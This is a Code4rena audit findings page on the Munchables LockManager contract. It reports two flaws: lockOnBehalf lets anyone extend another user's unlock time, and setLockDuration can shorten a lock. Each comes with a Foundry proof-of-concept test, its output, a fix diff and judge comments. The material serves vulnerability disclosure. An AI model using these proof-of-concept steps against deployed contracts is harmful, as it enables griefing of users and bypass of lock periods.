Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 38/126
Findings: 2
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0056 USDC - $0.01
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L290
Due to lockOnBehalf
a malicious user can donate token to anyone to extends the unlock time.
According to LockManager.sol::lockOnBehalf.
function lockOnBehalf( address _tokenContract, uint256 _quantity, address _onBehalfOf ) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant { address tokenOwner = msg.sender; address lockRecipient = msg.sender; if (_onBehalfOf != address(0)) { lockRecipient = _onBehalfOf; } _lock(_tokenContract, _quantity, tokenOwner, lockRecipient); }
malicious user can set _onBehalfOf
to any address.
Once lock some addition token , the unlocktime is updated https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384
lockedToken.remainder = remainder; lockedToken.quantity += _quantity; lockedToken.lastLockTime = uint32(block.timestamp); lockedToken.unlockTime = uint32(block.timestamp) + uint32(_lockDuration); <
test:
function test_user_relock() external { address attacker = address(101); uint256 lockAmount = 100e18; deployContracts(); // register me amp.register(MunchablesCommonLib.Realm(3), address(0)); logSnuggery("Initial snuggery"); uint32 minLockDuration = 86400; //reset lockdrop lm.configureLockdrop( ILockManager.Lockdrop({ start: uint32(block.timestamp), end: uint32(block.timestamp) + minLockDuration*2, minLockDuration: minLockDuration }) ); //in nft period. vm.warp(block.timestamp + minLockDuration*2 - 1); //set lock duration. lm.setLockDuration(50 days); //lock. lm.lock{value: lockAmount}(address(0), lockAmount); logLockedTokens("Self Lock"); vm.warp(block.timestamp + 44 days); //send 1 ether to attacker. deal(attacker,1 ether); //user lock again. vm.prank(attacker); lm.lockOnBehalf{value: 1 wei}(address(0), 1 wei,address(this)); logLockedTokens("Another Lock"); }
output:
------------------------------- Self Lock ETH Locked: 100000000000000000000 Remainder: 0 unlockTime: 4492800 lastLockTime: 172800 ------------------------------- att bal: 1000000000000000000 ------------------------------- Another Lock ETH Locked: 100000000000000000001 Remainder: 0 unlockTime: 8294400 lastLockTime: 3974400 -------------------------------
From the above output, we can see that the user's unlock time has been updated from 4492800
to 8294400
. Note that this change was not the user's intention.
Foundry
Since lockOnBehalf
can extend the token unlock time for any player, it is essential to ensure that this action aligns with the player's intention.
Invalid Validation
#0 - c4-judge
2024-06-05T12:58:15Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: SpicyMeatball
Also found by: 0rpse, 0xMosh, 0xblack_bird, 0xdice91, 0xhacksmithh, 0xleadwizard, 0xmystery, Audinarey, AvantGard, Bigsam, Dots, EPSec, Eeyore, Janio, Limbooo, LinKenji, Mahmud, MrPotatoMagic, Myd, Oxsadeeq, Sabit, SovaSlava, Stefanov, Tychai0s, Utsav, Varun_05, Walter, adam-idarrha, ahmedaghadi, araj, aslanbek, ayden, bigtone, c0pp3rscr3w3r, carrotsmuggler, crypticdefense, dhank, fyamf, gajiknownnothing, gavfu, itsabinashb, jasonxiale, joaovwfreire, ke1caM, leegh, merlinboii, mitko1111, n4nika, pfapostol, prapandey031, rouhsamad, sandy, snakeeaterr, stakog, steadyman, swizz, tedox, th3l1ghtd3m0n, trachev, turvy_fuzz, xyz, yashgoel72, zhaojohnson
0.0105 USDC - $0.01
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245-L272
Malicious users can exploit the setLockDuration function to shorten the lock duration.
Users can exploit the setLockDuration function to reset the unlock time. According to the documentation, it states:
people cannot reduce lockup times that are previously set
When setting the lock duration, the protocol compares uint32(block.timestamp) + uint32(_duration) with the previously set unlock time to ensure that the new lock time is not earlier than the current unlock time. However, when setting the actual unlock time, the protocol adds lastLockTime to _duration, which can result in the final unlock time being earlier than the previously set unlock time.
add following test to SpeedRun.t.sol
:
function test_locktime_change() public { uint256 lockAmount = 100e18; console.log("test_locktime_change run()"); deployContracts(); // register me amp.register(MunchablesCommonLib.Realm(3), address(0)); logSnuggery("Initial snuggery"); // lock tokens lm.lock{value: lockAmount}(address(0), lockAmount); logLockedTokens("First Lock"); //16 hours pass by , 8 hours left vm.warp(block.timestamp + 16 hours); //set duration 9 hours. lm.setLockDuration(9 hours); logLockedTokens("Second Lock"); console.log("nowTime:",block.timestamp); }
out:
------------------------------- First Lock ETH Locked: 100000000000000000000 Remainder: 0 unlockTime: 86401 lastLockTime: 1 ------------------------------- ------------------------------- Second Lock ETH Locked: 100000000000000000000 Remainder: 0 unlockTime: 32401 lastLockTime: 1 ------------------------------- nowTime: 57601 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.21ms (15.74ms CPU time)
From above output we can see user unlock time reduce from 86401 to 32401
Foundry
should use current time instead of lastLockTime to calculate unlockTime
@@ -263,7 +263,7 @@ contract LockManager is BaseBlastManager, ILockManager, ReentrancyGuard { uint32 lastLockTime = lockedTokens[msg.sender][tokenContract] .lastLockTime; lockedTokens[msg.sender][tokenContract].unlockTime = - lastLockTime + + uint32(block.timestamp) + uint32(_duration); } }
Math
#0 - c4-judge
2024-06-04T12:41:43Z
alex-ppg marked the issue as duplicate of #89
#1 - c4-judge
2024-06-05T12:52:40Z
alex-ppg marked the issue as partial-75